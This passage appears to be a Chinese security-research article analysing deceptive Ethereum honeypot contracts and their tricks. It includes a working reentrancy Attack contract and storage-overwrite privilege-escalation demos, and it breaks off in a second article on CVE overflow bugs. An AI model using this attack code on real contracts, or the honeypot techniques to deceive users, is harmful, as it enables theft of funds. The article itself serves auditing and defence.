,就可以取走该智能合约里所有的以太币。但事实绝非如此,让我们做出错误判断的原因在于
github
在显示超长行时不会自动换行。下图是设置了自动换行的本地编辑器截图:图中第
21
行和第29
行就是蜜罐作者通过超长空格
隐藏起来的代码。所以实际的脆弱点
是这样的:12345if(msg.value>1 ether){Owner.transfer(this.balance);msg.sender.transfer(this.balance);}先将账户余额转给合约的创立者,然后再将剩余的账户余额(也就是0)转给转账的用户(受害者)
与之类似的智能合约还有
TestToken
,留待有兴趣的读者继续分析:0x02 神奇的逻辑漏洞
该类蜜罐合约用 2012年春晚小品《天网恢恢》中这么一段来表现最为合适:
送餐员: 外卖一共30元
骗子B: 没零的,100!
送餐员: 行,我找你......70!(送餐员掏出70给骗子B)
骗子A: 哎,等会儿等会儿,我这有零的,30是吧,把那100给我吧!给,30!(骗子A拿走了B给送餐员的100元,又给了送餐员30元)
送餐员: 30元正好,再见!该类漏洞也是如此,在看起来正常的逻辑下,总藏着这样那样的陷阱。
2.1 天上掉下的馅饼:Gift_1_ETH
- Github地址:smart-contract-honeypots/Gift_1_ETH.sol
- 智能合约地址:0xd8993F49F372BB014fB088eaBec95cfDC795CBF6
- 合约关键代码如下:
123456789101112131415161718192021222324252627282930313233contract Gift_1_ETH{bool passHasBeenSet = false;bytes32 public hashPass;function SetPass(bytes32 hash)payable{if(!passHasBeenSet&&(msg.value >= 1 ether)){hashPass = hash;}}function GetGift(bytes pass) returns (bytes32){if( hashPass == sha3(pass)){msg.sender.transfer(this.balance);}return sha3(pass);}function PassHasBeenSet(bytes32 hash){if(hash==hashPass){passHasBeenSet=true;}}}整个智能合约的逻辑很简单,三个关键函数功能如下:
SetPass()
: 在转账大于1 ether
并且passHasBeenSet
为false
(默认值就是false
),就可以设置密码hashPass
。GetGift()
: 在输入的密码加密后与hashPass
相等的情况下,就可以取走合约里所有的以太币。PassHasBeenSet()
:如果输入的hash
与hashPass
相等,则passHasBeenSet
将会被设置成true
。
如果我们想取走合约里所有的以太币,只需要按照如下流程进行操作:
推特用户
Alexey Pertsev
还为此写了一个获取礼物的EXP
。但实际场景中,受害者转入一个以太币后并没有获取到整个智能合约的余额,这是为什么呢?
这是因为在合约创立之后,任何人都可以对合约进行操作,包括合约的创建者:
合约创建者在合约
被攻击
前,设置一个只有创建者知道的密码并将passHasBeenSet
置为True
,将只有合约创建者可以取出智能合约中的以太币。与之类似的智能合约还有
NEW_YEARS_GIFT
:- Github地址:Solidlity-Vulnerable/honeypots/NEW_YEARS_GIFT.sol
- 智能合约地址:0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B
2.2 合约永远比你有钱:MultiplicatorX3
- Github地址:smart-contract-honeypots/MultiplicatorX3.sol smart-contract-honeypots/Multiplicator.sol
- 智能合约地址:0x5aA88d2901C68fdA244f1D0584400368d2C8e739
- 合约关键代码如下:
123456789<span class="kd">function</span> <span class="nx">multiplicate</span><span class="p">(</span><span class="nx">address</span> <span class="nx">adr</span><span class="p">)</span><span class="kr">public</span><span class="nx">payable</span><span class="p">{</span><span class="k">if</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">value</span><span class="o">>=</span><span class="k">this</span><span class="p">.</span><span class="nx">balance</span><span class="p">)</span><span class="p">{</span><span class="nx">adr</span><span class="p">.</span><span class="nx">transfer</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">balance</span><span class="o">+</span><span class="nx">msg</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span><span class="p">}</span><span class="p">}</span>对于
multiplicate()
而言,只要你转账的金额大于账户余额,就可以把账户余额
和你本次转账的金额
都转给一个可控的地址。在这里我们需要知道:在调用
multiplicate()
时,账户余额 = 之前的账户余额 + 本次转账的金额。所以msg.value >= this.balance
只有在原余额为0,转账数量为0的时候才会成立。也就意味着,账户余额永远不会比转账金额小。与之类似的智能合约还有
PINCODE
:- Github地址:Solidlity-Vulnerable/honeypots/PINCODE.sol
- 智能合约地址:0x35c3034556b81132e682db2f879e6f30721b847c
2.3 谁是合约主人:TestBank
- Github地址:smart-contract-honeypots/TestBank.sol
- 智能合约地址:0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9
- 合约关键代码如下:
12345678910111213141516171819contract Owned {address public owner;function Owned() { owner = msg.sender; }modifier onlyOwner{ if (msg.sender != owner) revert(); _; }}contract TestBank is Owned {address public owner = msg.sender;uint256 ecode;uint256 evalue;function useEmergencyCode(uint256 code) public payable {if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;}function withdraw(uint amount) public onlyOwner {require(amount <= this.balance);msg.sender.transfer(amount);}根据关键代码的内容,如果我们可以通过
useEmergencyCode()
中的判断,那就可以将owner
设置为我们的地址,然后通过withdraw()
函数就可以取出合约中的以太币。如果你也有了上述的分析,那么就需要学习一下
Solidity
中继承的相关知识参考链接5:该部分引用自参考链接5
重点:Solidity的继承原理是代码拷贝,因此换句话说,继承的写法总是能够写成一个单独的合约。
情况五:子类父类有相同名字的变量。 父类A的test1操纵父类中的variable,子类B中的test2操纵子类中的variable,父类中的test2因为没被调用所以不存在。 解释:对EVM来说,每个storage variable都会有一个唯一标识的slot id。在下面的例子说,虽然都叫做variable,但是从bytecode角度来看,他们是由不同的slot id来确定的,因此也和变量叫什么没有关系。12345678910111213141516171819202122232425262728293031contract A{uint variable = 0;function test1(uint a) returns(uint){variable++;return variable;}function test2(uint a) returns(uint){variable += a;return variable;}}contract B is A{uint variable = 0;function test2(uint a) returns(uint){variable++;return variable;}}====================contract B{uint variable1 = 0;uint variable2 = 0;function test1(uint a) returns(uint v){variable1++;return variable1;}function test2(uint a) returns(uint v){variable2++;return variable2;}}根据样例中的代码,我们将该合约的核心代码修改如下:
12345678910111213141516contract TestBank is Owned {address public owner1 = msg.sender;modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }address public owner2 = msg.sender;uint256 ecode;uint256 evalue;function useEmergencyCode(uint256 code) public payable {if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;}function withdraw(uint amount) public onlyOwner {require(amount <= this.balance);msg.sender.transfer(amount);}变量
owner1
是父类Owner
中的owner
变量,而owner2
是子类TestBank
中的变量。useEmergencyCode()
函数只会修改owner2
,而非owner1
,自然无法调用withdraw()
。 由于调用useEmergencyCode()
时需要转作者设置的evalue wei
的以太币,所以只会造成以太币白白丢失。0x03 新颖的赌博游戏
区块链的去中心化给博彩行业带来了新的机遇,然而久赌必输这句话也不无道理。
本章将会给介绍四个基于区块链的赌博游戏并分析庄家如何赢钱的。3.1 加密轮盘赌轮:CryptoRoulette
- Github地址:smart-contract-honeypots/CryptoRoulette.sol Solidlity-Vulnerable/honeypots/CryptoRoulette.sol
- 智能合约地址:0x94602b0E2512DdAd62a935763BF1277c973B2758
- 合约关键代码如下:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647// CryptoRoulette//// Guess the number secretly stored in the blockchain and win the whole contract balance!// A new number is randomly chosen after each try.//// To play, call the play() method with the guessed number (1-20). Bet price: 0.1 ethercontract CryptoRoulette {uint256 private secretNumber;uint256 public lastPlayed;uint256 public betPrice = 0.1 ether;address public ownerAddr;struct Game {address player;uint256 number;}function shuffle() internal {// randomly set secretNumber with a value between 1 and 20secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;}function play(uint256 number) payable public {require(msg.value >= betPrice && number <= 10);Game game;game.player = msg.sender;game.number = number;gamesPlayed.push(game);if (number == secretNumber) {// win!msg.sender.transfer(this.balance);}shuffle();lastPlayed = now;}function kill() public {if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {suicide(msg.sender);}}}该合约设置了一个
1-20
的随机数:secretNumber
,玩家通过调用play()
去尝试竞猜这个数字,如果猜对,就可以取走合约中所有的钱并重新设置随机数secretNumber
。这里存在两层猫腻。第一层猫腻就出在这个
play()
。play()
需要满足两个条件才会运行:- msg.value >= betPrice,也就是每次竞猜都需要发送至少
0.1
个以太币。 - number <= 10,竞猜的数字不能大于
10
。
由于生成的随机数在
1-20
之间,而竞猜的数字不能大于10
, 那么如果随机数大于10
呢?将不会有人能竞猜成功!所有被用于竞猜的以太币都会一直存储在智能合约中。最终合约拥有者可以通过kill()
函数取出智能合约中所有的以太币。在实际的场景中,我们还遇到过生成的随机数在
1-10
之间,竞猜数字不能大于10
的智能合约。这样的合约看似保证了正常的竞猜概率,但却依旧是蜜罐智能合约!这与前文说到的第二层猫腻有关。我们将会在下一节3.2 开放地址彩票:OpenAddressLottery
中说到相关细节。有兴趣的读者可以读完3.2节
后再回来重新分析一下该合约。3.2 开放地址彩票:OpenAddressLottery
3.2.1 蜜罐智能合约分析
- Github地址:Solidlity-Vulnerable/honeypots/OpenAddressLottery.sol
- 智能合约地址:0xd1915A2bCC4B77794d64c4e483E43444193373Fa
- 合约关键代码如下:
12345678910111213141516171819202122232425contract OpenAddressLottery{struct SeedComponents{uint component1;uint component2;uint component3;uint component4;}address owner; //address of the owneruint private secretSeed; //seed used to calculate number of an addressuint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocksuint LuckyNumber = 1; //if the number of an address equals 1, it winsfunction forceReseed() { //reseed initiated by the owner - for testing purposesrequire(msg.sender==owner);SeedComponents s;s.component1 = uint(msg.sender);s.component2 = uint256(block.blockhash(block.number - 1));s.component3 = block.difficulty*(uint)(block.coinbase);s.component4 = tx.gasprice * 7;reseed(s); //reseed}}OpenAddressLottery
的逻辑很简单,每次竞猜,都会根据竞猜者的地址随机生成 0 或者 1,如果生成的值和LuckyNumber
相等的话(LuckyNumber
初始值为1
),那么竞猜者将会获得1.9
倍的奖金。对于安全研究人员来说,这个合约可能是这些蜜罐智能合约中价值最高的一个。在这里,我将会使用一个
demo
来说一说Solidity
编译器的一个bug
:123456789101112131415161718192021222324pragma solidity ^0.4.24;contract OpenAddressLottery_test{address public addr = 0xa;uint public b = 2;uint256 public c = 3;bytes public d = "zzzz";struct SeedComponents{uint256 component1;uint256 component2;uint256 component3;uint256 component4;}function test() public{SeedComponents s;s.component1 = 252;s.component2 = 253;s.component3 = 254;s.component4 = 255;}}在运行
test()
之前,addr
、b
、c
、d
的值如下图所示:在运行了
test()
之后,各值均被覆盖。这个
bug
已经被提交给官方,并将在Solidity 0.5.0
中被修复。截止笔者发文,
Solidity 0.5.0
依旧没有推出。这也就意味着,目前所有的智能合约都可能会受到该bug
的影响。我们将会在 3.2.2节 中说一说这个bug
可能的影响面。想了解蜜罐智能合约而非bug攻击面的读者可以跳过这一小节对于该蜜罐智能合约而言,当
forceReseed()
被调用后,s.component4 = tx.gasprice * 7;
将会覆盖掉LuckyNumber
的值,使之为7
。而用户生成的竞猜数字只会是1
或者0
,这也就意味着用户将永远不可能赢得彩票。3.2.2
Solidity 0.4.x
结构体局部变量量引起的变量量覆盖在
3.2.1节
中,介绍了OpenAddressLottery
智能合约使用未初始化的结构体局部变量直接覆盖智能合约中定义的前几个变量,从而达到修改变量值的目的。按照这种思路,特意构造某些参数的顺序,比如将智能合约的余额值放在首部,那么通过变量覆盖就可以修改余额值;除此之外,如果智能合约中常用的
owner
变量定义在首部,便可以造成权限提升。示例代码1
如下(编译器选择最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang
):1234567891011121314151617181920212223pragma solidity ^0.4.0;contract Test {address public owner;address public a;struct Seed {address x;uint256 y;}function Test() {owner = msg.sender;a = 0x1111111111111111111111111111111111111111;}function fake_foo(uint256 n) public {Seed s;s.x = msg.sender;s.y = n;}}如图所示,攻击者
0x583031d1113ad414f02576bd6afabfb302140225
在调用fake_foo()
之后,成功将owner
修改成自己。在
2.3节
中,介绍了Solidity
的继承原理是代码拷贝。也就是最终都能写成一个单独的合约。这也就意味着,该bug
也会影响到被继承的父类变量,示例代码2
如下:1234567891011121314151617181920212223242526pragma solidity ^0.4.0;contract Owner {address public owner;modifier onlyOwner {require(owner == msg.sender);_;}}contract Test is Owner {struct Seed {address x;}function Test() {owner = msg.sender;}function fake_foo() public {Seed s;s.x = msg.sender;}}相比于
示例代码1
,示例代码2
更容易出现在现实生活中。由于示例代码2
配合复杂的逻辑隐蔽性较高,更容易被不良合约发布者利用。比如利用这种特性留后门
。在参考链接10中,开发者认为由于某些原因,让编译器通过警告的方式通知用户更合适。所以在目前
0.4.x
版本中,编译器会通过警告的方式通知智能合约开发者;但这种存在安全隐患的代码是可以通过编译并部署的。solidity
开发者将在0.5.0
版本将该类问题归于错误处理。3.3 山丘之王:KingOfTheHill
- Github地址:Solidlity-Vulnerable/honeypots/KingOfTheHill.sol
- 智能合约地址:0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a
- 合约关键代码如下:
1234567891011121314151617181920212223242526272829contract Owned {address owner;function Owned() {owner = msg.sender;}modifier onlyOwner{if (msg.sender != owner)revert();_;}}contract KingOfTheHill is Owned {address public owner;function() public payable {if (msg.value > jackpot) {owner = msg.sender;withdrawDelay = block.timestamp + 5 days;}jackpot+=msg.value;}function takeAll() public onlyOwner {require(block.timestamp >= withdrawDelay);msg.sender.transfer(this.balance);jackpot=0;}}这个合约的逻辑是:每次请求
fallback()
,变量jackopt
就是加上本次传入的金额。如果你传入的金额大于之前的jackopt
,那么owner
就会变成你的地址。看到这个代码逻辑,你是否感觉和
2.2节
、2.3节
有一定类似呢?让我们先看第一个问题:
msg.value > jackopt
是否可以成立?答案是肯定的,由于jackopt+=msg.value
在msg.value > jackopt
判断之后,所以不会出现2.2节
合约永远比你钱多的情况。然而这个合约存在与
2.3节
同样的问题。在msg.value > jackopt
的情况下,KingOfTheHill
中的owner
被修改为发送者的地址,但Owned
中的owner
依旧是合约创建人的地址。这也就意味着取钱函数takeAll()
将永远只有庄家才能调用,所有的账户余额都将会进入庄家的口袋。与之类似的智能合约还有
RichestTakeAll
:- Github地址:Solidlity-Vulnerable/honeypots/RichestTakeAll.sol
- 智能合约地址:0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24
3.4 以太币竞争游戏:RACEFORETH
- Github地址:Solidlity-Vulnerable/honeypots/RACEFORETH.sol
- 合约关键代码如下:
1234567891011121314151617181920212223contract RACEFORETH {uint256 public SCORE_TO_WIN = 100 finney;uint256 public speed_limit = 50 finney;function race() public payable {if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] = speed_limit; }require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);racerScore[msg.sender] += msg.value;racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);latestTimestamp = now;// YOU WONif (racerScore[msg.sender] >= SCORE_TO_WIN) {msg.sender.transfer(PRIZE);}}function () public payable {race();}}这个智能合约有趣的地方在于它设置了最大转账上限是
50 finney
,最小转账下限是2 wei
(条件是大于1 wei
,也就是最小2 wei
)。每次转账之后,最大转账上限都会缩小成原来的一半,当总转账数量大于等于100 finney
,那就可以取出庄家在初始化智能合约时放进的钱。假设我们转账了
x
次,那我们最多可以转的金额如下:150 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... 50 * (1/2)^x根据高中的知识可以知道,该数字将会永远小于
100
150 * (1/2)^0 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... < 50 * 2而智能合约中设置的赢取条件就是总转账数量大于等于
100 finney
。这也就意味着,没有人可以达到赢取的条件!0x04 黑客的漏洞利用
利用重入漏洞的The DAO事件直接导致了以太坊的硬分叉、利用整数溢出漏洞可能导致代币交易出现问题。
DASP TOP10 中的前三: 重入漏洞、访问控制、算数问题在这些蜜罐智能合约中均有体现。黑客在这场欺诈者的游戏中扮演着不可或缺的角色。4.1 私人银行(重入漏洞):PrivateBank
- Github地址:smart-contract-honeypots/PrivateBank.sol Solidlity-Vulnerable/honeypots/PRIVATE_BANK.sol
- 智能合约地址:0x95d34980095380851902ccd9a1fb4c813c2cb639
- 合约关键代码如下:
123456789101112function CashOut(uint _am){if(_am<=balances[msg.sender]){if(msg.sender.call.value(_am)()){balances[msg.sender]-=_am;TransferLog.AddMessage(msg.sender,_am,"CashOut");}}}了解过
DAO
事件以及重入漏洞可以很明显地看出,CashOut()
存在重入漏洞。在了解重入漏洞之前,让我们先了解三个知识点:
Solidity
的代码执行限制。为了防止以太坊网络被攻击或滥用,智能合约执行的每一步都需要消耗gas
,俗称燃料。如果燃料消耗完了但合约没有执行完成,合约状态会回滚。addr.call.value()()
,通过call()
的方式进行转账,会传递目前所有的gas
进行调用。- 回退函数
fallback()
: 回退函数将会在智能合约的call
中被调用。
如果我们调用合约中的
CashOut()
,关键代码的调用过程如下图:由于回退函数可控,如果我们在回退函数中再次调用
CashOut()
, 由于满足_am<=balances[msg.sender]
,将会再次转账,因此不断循环,直至 合约中以太币被转完或gas
消耗完。根据上述分析写出攻击的代码如下:
1234567891011121314151617181920212223242526272829303132contract Attack {address owner;address victim;function Attack() payable { owner = msg.sender; }function setVictim(address target) { victim = target; }function step1(uint256 amount) payable {if (this.balance >= amount) {victim.call.value(amount)(bytes4(keccak256("Deposit()")));}}function step2(uint256 amount) {victim.call(bytes4(keccak256("CashOut(uint256)")), amount);}// selfdestruct, send all balance to ownerfunction stopAttack() {selfdestruct(owner);}function startAttack(uint256 amount) {step1(amount);step2(amount / 2);}function () payable {victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);}}模拟的攻击步骤如下:
- 正常用户
A
(地址:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
)向该合约存入50 ether
。
- 恶意攻击者
B
(地址:0x583031d1113ad414f02576bd6afabfb302140225
)新建恶意智能合约Attack,实施攻击。不仅取出了自己存入的10 ether
,还取出了A
存入的50 ether
。用户A
的余额还是50 ether
,而恶意攻击者B
的余额也因为发生溢出变成115792089237316195423570985008687907853269984665640564039407584007913129639936
。
虽然此时用户A的余额仍然存在,但由于合约中已经没有以太币了,所以A将无法取出其存入的50个以太币
根据以上的案例可以得出如下结论:当普通用户将以太币存取该蜜罐智能合约地址,他的代币将会被恶意攻击者通过重入攻击取出,虽然他依旧能查到在该智能合约中存入的代币数量,但将无法取出相应的代币。
4.2 偷梁换柱的地址(访问控制):firstTest
- Github地址:smart-contract-honeypots/firstTest.sol
- 智能合约地址:0x42dB5Bfe8828f12F164586AF8A992B3a7B038164
- 合约关键代码如下:
12345678910111213141516171819contract firstTest{address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;address adr;uint256 public Limit= 1000000000000000000;function withdrawal()payable public{adr=msg.sender;if(msg.value>Limit){emails.delegatecall(bytes4(sha3("logEvent()")));adr.send(this.balance);}}}逻辑看起去很简单,只要在调用
withdrawal()
时发送超过1 ether
,该合约就会把余额全部转给发送者。至于通过delegatecall()
调用的logEvent()
,谁在意呢?在
DASP TOP10
的漏洞中,排名第二的就是访问控制漏洞,其中就说到delegatecall()
。delegatecall()
和call()
功能类似,区别仅在于delegatecall()
仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。这也就意味着调用的logEvent()
也可以修改该合约中的参数,包括adr
。举个例子,在第一个合约中,我们定义了一个变量
adr
,在第二个合约中通过delegatecall()
调用第一个合约中的logEvent()
。第二个合约中的第一个变量就变成了0x1111
。这也就意味着攻击者完全有能力在logEvent()
里面修改adr
的值。为了验证我们的猜测,使用
evmdis
逆向0x25df6e3da49f41ef5b99e139c87abc12c3583d13
地址处的opcode
。logEvent()
处的关键逻辑如下:翻译成
Solidity
的伪代码大致是:12345function logEvent(){if (storage[0] == 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B){storage[2] = address of current contract;}}这也就意味着,在调用蜜罐智能合约
firstTest
中的withdrawal()
时,emails.delegatecall(bytes4(sha3("logEvent()")));
将会判断第一个变量Owner
是否是0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B
,如果相等,就把adr
设置为当前合约的地址。最终将会将该合约中的余额转给当前合约而非消息的发送者。adr
参数被偷梁换柱!4.3 仅仅是测试?(整数溢出):For_Test
- Github地址:Solidlity-Vulnerable/honeypots/For_Test.sol
- 智能合约地址:0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229
- 合约关键代码如下:
123456789101112131415161718192021222324252627282930pragma solidity ^0.4.19;contract For_Test{function Test()payablepublic{if(msg.value> 0.1 ether){uint256 multi =0;uint256 amountToTransfer=0;for(var i=0;i<msg.value*2;i++){multi=i*2;if(multi<amountToTransfer){break;}else{amountToTransfer=multi;}}msg.sender.transfer(amountToTransfer);}}}在说逻辑之前,我们需要明白两个概念:
msg.value
的单位是wei
。举个例子,当我们转1 ether
时,msg.value = 1000000000000000000 (wei)
- 当我们使用
var i
时,i
的数据类型将是uint8
,这个可以在Solidity
官方手册上找到。
如同官方文档所说,当
i = 255
后,执行i++
,将会发生整数溢出,i
的值重新变成0
,这样循环将不会结束。根据这个智能合约的内容,只要转超过
0.1 ether
并调用Test()
,将会进入循环最终得到amountToTransfer
的值,并将amountToTransfer wei
发送给访问者。在不考虑整数溢出的情况下,amountToTransfer
将会是msg.value * 2
。这也是这个蜜罐合约吸引人的地方。正是由于
for
循环中的i
存在整数溢出,在i=255
执行i++
后,i = 0
导致multi = 0 < amountToTransfer
,提前终止了循环。细细算来,转账至少了
0.1 ether(100000000000000000 wei)
的以太币,该智能合约转回510 wei
以太币。损失巨大。与之类似的智能合约还有
Test1
:- Github地址:smart-contract-honeypots/Test1.sol
4.4 股息分配(老版本编译器漏洞):DividendDistributor
- Github地址:Solidlity-Vulnerable/honeypots/DividendDistributor.sol
- 智能合约地址:0x858c9eaf3ace37d2bedb4a1eb6b8805ffe801bba
- 合约关键代码如下:
123456789101112131415function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected{if(! target.call.value(amount)() )throw;Transfer(amount, message, target, currentOwner);}function divest(uint amount) public {if ( investors[msg.sender].investment == 0 || amount == 0)throw;// no need to test, this will throw if amount > investmentinvestors[msg.sender].investment -= amount;sumInvested -= amount;this.loggedTransfer(amount, "", msg.sender, owner);}该智能合约大致有存钱、计算利息、取钱等操作。在最开始的分析中,笔者并未在整个合约中找到任何存在漏洞、不正常的地方,使用
Remix
模拟也没有出现任何问题,一度怀疑该合约是否真的是蜜罐。直到打开了智能合约地址对应的页面:在
Solidity 0.4.12
之前,存在一个bug,如果空字符串""
用作函数调用的参数,则编码器会跳过它。举例:当我们调用了
send(from,to,"",amount)
, 经过编译器处理后的调用则是send(from,to,amount)
。 编写测试代码如下:123456789101112131415pragma solidity ^0.4.0;contract DividendDistributorv3{event Transfer(uint amount,bytes32 message,address target,address currentOwner);function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner){Transfer(amount, message, target, currentOwner);}function divest() public {this.loggedTransfer(1, "a", 0x1, 0x2);this.loggedTransfer(1, "", 0x1, 0x2);}}在
Remix
中将编译器版本修改为0.4.11+commit.68ef5810.Emscripten.clang
后,执行divest()
函数结果如下:在这个智能合约中也是如此。当我们需要调用
divest()
取出我们存进去的钱,最终将会调用this.loggedTransfer(amount, "", msg.sender, owner);
。因为编译器的
bug
,最终调用的是this.loggedTransfer(amount, msg.sender, owner);
,具体的转账函数处就是owner.call.value(amount)
。成功的将原本要转给msg.sender()
的以太币转给合约的拥有者
。合约拥有者成功盗币!0x05 后记
在分析过程中,我愈发认识到这些蜜罐智能合约与原始的蜜罐概念是有一定差别的。相较于蜜罐是诱导攻击者进行攻击,智能合约蜜罐的目的变成了诱导别人转账到合约地址。在欺骗手法上,也有了更多的方式,部分方式具有强烈的参考价值,值得学习。
这些蜜罐智能合约的目的性更强,显著区别与普通的
钓鱼
行为。相较于钓鱼行为面向大众,蜜罐智能合约主要面向的是智能合约开发者
、智能合约代码审计人员
或拥有一定技术背景的黑客
。因为蜜罐智能合约门槛更高,需要能够看懂智能合约才可能会上当,非常有针对性,所以使用蜜罐
这个词,我认为是非常贴切的。这也对
智能合约代码审计人员
提出了更高的要求,不能只看懂代码,要了解代码潜在的逻辑和威胁、了解外部可能的影响面(例如编辑器bug
等),才能知其然也知其所以然。对于
智能合约代码开发者
来说,先知攻
才能在代码写出前就拥有一定的警惕心理,从源头上减少存在漏洞的代码。目前智能合约正处于新生阶段,流行的
solidity
语言也还没有发布正式1.0
版本,很多语⾔的特性还需要发掘和完善;同时,区块链的相关业务也暂时没有出现完善的流水线操作。正因如此,在当前这个阶段智能合约代码审计更是相当的重要,合约的部署一定要经过严格的代码审计。最后感谢
404实验室
的每一位小伙伴,分析过程中的无数次沟通交流,让这篇文章羽翼渐丰。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:
0x06 参考链接
- Github smart-contract-honeypots
- Github Solidlity-Vulnerable
- The phenomenon of smart contract honeypots
- Solidity 中文手册
- Solidity原理(一):继承(Inheritance)
- 区块链安全 - DAO攻击事件解析
- 以太坊智能合约安全入门了解一下
- Exposing Ethereum Honeypots
- Solidity Bug Info
- Uninitialised storage references should not be allowed
0x07 附录:已知蜜罐智能合约地址以及交易情况
基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到
118
个蜜罐智能合约地址,具体结果如下:下载地址:下载
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/631/
-
以太坊智能合约 Owner 相关 CVE 漏洞分析
作者:Hcamael@知道创宇404区块链安全研究团队
背景
最近学习了下以太坊的智能合约,而且也看到挺多厂家pr智能合约相关的漏洞,其中《ERC20智能合约整数溢出系列漏洞披露》文章中披露了6个CVE编号的漏洞,而这些漏洞都属于整型溢出漏洞范畴,其中5个漏洞均需要合约Owner才能触发利用。本文正是针对这些漏洞从合约代码及触发逻辑上做了详细分析,并提出了一些关于owner相关漏洞的思考。
漏洞分析
1. CVE-2018-11809
该漏洞被称为“超额购币”,相关合约(EthLendToken)源码: https://etherscan.io/address/0x80fB784B7eD66730e8b1DBd9820aFD29931aab03#code
在合约代码中,
buyTokensPresale
和buyTokensICO
两个函数都是存在整型上溢出的情况:12345678910111213141516171819202122232425262728293031function buyTokensPresale() public payable onlyInState(State.PresaleRunning){// min - 1 ETHrequire(msg.value >= (1 ether / 1 wei));uint newTokens = msg.value * PRESALE_PRICE;require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);balances[msg.sender] += newTokens;supply+= newTokens;presaleSoldTokens+= newTokens;totalSoldTokens+= newTokens;LogBuy(msg.sender, newTokens);}function buyTokensICO() public payable onlyInState(State.ICORunning){// min - 0.01 ETHrequire(msg.value >= ((1 ether / 1 wei) / 100));uint newTokens = msg.value * getPrice();require(totalSoldTokens + newTokens <= TOTAL_SOLD_TOKEN_SUPPLY_LIMIT);balances[msg.sender] += newTokens;supply+= newTokens;icoSoldTokens+= newTokens;totalSoldTokens+= newTokens;LogBuy(msg.sender, newTokens);}溢出点:
12require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);require(totalSoldTokens + newTokens <= TOTAL_SOLD_TOKEN_SUPPLY_LIMIT);拿
buyTokensPresale
函数举例,在理论上presaleSoldTokens + newTokens
存在整型上溢出漏洞,会导致绕过require
判断,造成超额购币。接下来,我们再仔细分析一下,如果造成整型上溢出,先来看看
presaleSoldTokens
变量的最大值123uint public presaleSoldTokens = 0;require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);presaleSoldTokens+= newTokens;该合约代码中,
presaleSoldTokens
变量相关的代码只有这三行,因为存在着require判断,所以不论presaleSoldTokens + newTokens
是否溢出,presaleSoldTokens <= PRESALE_TOKEN_SUPPLY_LIMIT
恒成立,因为有着断言代码:1assert(PRESALE_TOKEN_SUPPLY_LIMIT==60000000 * (1 ether / 1 wei));所以,
presaleSoldTokens <= 60000000 * (1 ether / 1 wei)
,其中1 ether / 1 wei = 1000000000000000000
,所以max(presaleSoldTokens) == 6*(10^25)
再来看看变量
newTokens
,该变量的值取决于用户输出,是用户可控变量,相关代码如下:12uint newTokens = msg.value * PRESALE_PRICE;uint public constant PRESALE_PRICE = 30000;如果我们向
buyTokensPresale
函数转账1 ether,newTokens
的值为1000000000000000000*30000=3*(10^22)
下面来计算一下,需要向该函数转账多少以太币,才能造成溢出
在以太坊智能合约中,
uint
默认代表的是uint256
,取值范围是0~2^256-1
,所以,需要newTokens
的值大于(2^256-1)-presaleSoldTokens
。最后计算出,我们需要向
buyTokensPresale
函数转账:12>>> (2**256-1)-(6*(10**25))/(3*(10**22))115792089237316195423570985008687907853269984665640564039457584007913129637935L才可以造成整型上溢出,超额购币,整个以太坊公链,发展至今,以太币总余额有达到这个数吗?
虽然理论上该合约的确存在漏洞,但是实际却无法利用该漏洞
2. CVE-2018-11810
该类漏洞被称为:“超额定向分配”
相关事例( LGO )源码:https://etherscan.io/address/0x123ab195dd38b1b40510d467a6a359b201af056f#code
根据该漏洞的描述:
管理员绕过合约中规定的单地址发币上限,给指定地址分配超额的token
跟上一个漏洞相比,因为该漏洞存在于
onlyOwner
的函数中,只能Owner(管理员)才能调用该漏洞,所以我认为该类漏洞可以算做是“后门“类漏洞。所以该类漏洞的利用有两个思路:
- Owner留下来的“后门”,供自己使用,专门用来坑合约的其他使用者(所谓的”蜜罐合约“,就是这种情况)
- 该合约有其他漏洞,能让自己成为Owener,或者可以说,结合提权漏洞进行利用
首先,我们先假设自己就是Owner,来研究该漏洞的利用流程,以下是存在漏洞的函数:
